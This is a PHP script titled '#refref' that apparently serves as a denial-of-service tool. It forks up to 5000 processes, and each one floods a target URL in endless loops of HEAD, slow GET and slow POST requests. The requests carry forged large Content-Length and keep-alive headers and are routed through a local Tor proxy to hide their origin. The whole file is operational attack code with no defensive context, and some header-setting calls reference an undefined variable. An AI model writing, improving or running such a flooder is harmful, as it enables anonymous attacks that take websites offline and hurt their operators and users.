PHP #refref

<?
/** PHP variant of #refref using slow GET headers, slow POST, keep-alive with max of 5000 theads
 * Usage php ./<script.php> <number of processes> <method>
 **/
function usage($argv) {
    print "Usage: php ./{$argv[0]} <number of processes> <method>\n";
    die();
}

function head($url) {

	while(true) {
		$header[] 	= "Connection: keep-alive";

		$ch 		= curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_NOBODY, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		curl_setopt($ch, CURLOPT_VERBOSE, true);
		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
		curl_setopt($ch, CURLINFO_HEADER_OUT, true);
		curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
		curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_exec($ch);
		curl_close($ch);
	}

}

function post($url) {

	while(true) {
		$header[] 	= "Keep-Alive: 900";
		$header[] 	= "Content-Length: 1000000000";
		$header[] 	= "Content-Type: application/x-www-form-urlencoded";
		$header[] 	= "Accept: *.*";

		$ch 		= curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_POST, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		curl_setopt($ch, CURLOPT_VERBOSE, true);
		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
		curl_setopt($ch, CURLINFO_HEADER_OUT, true);
		curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
		curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_setopt($ch, CURLOPT_POSTFIELDS, ".");
		curl_exec($ch);
		curl_close($ch);
	}
}

function get($url) {

	while(true) {
		$header[] 	= "Keep-Alive: 900";
		$header[] 	= "Content-Length: " . rand(10000, 1000000);
		$header[] 	= "Accept: *.*";
		$header[]	= "X-".rand(0,9).": " . rand(1, 10000);

		$ch 		= curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		curl_setopt($ch, CURLOPT_VERBOSE, true);
		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
		curl_setopt($ch, CURLINFO_HEADER_OUT, true);
		curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:9050");
		curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
		curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
		curl_exec($ch);
		curl_close($ch);
	}
}

function main($argc, $argv) {
	$url = "http://<some url>";
    $status = 1;

    if ($argc < 2) {
        usage($argv);
    }

	//check threads
	if($argv[1] > 5001) {
		echo "MAX OF 5000 threads\n\n";
		die();
	}

    $pids = Array();

    for ($i = 0; $i < $argv[1]; $i++) {
        $pid = pcntl_fork();

        if ($pid == -1) {
            die("ERROR");
        }
        else if ($pid == 0) {
			$loc = $url.rand(1000000, 999999999999999);
			if($argv[2] == 'H') {
				head($loc);
			} elseif($argv[2] == 'G') {
				get($loc);
			} elseif($argv[2] == 'P') {
				post($loc);
			} else {
				$rand = rand(0, 2);
				if($rand == 0) head($loc);
				if($rand == 1) post($loc);
				else get($loc);
			}
            exit(0);
        }
        else {
            $pids[] = $pid;
        }
    }

    foreach ($pids as $pid) {
        pcntl_waitpid($pid, $status);
    }

}

// fire everything up
main($argc, $argv);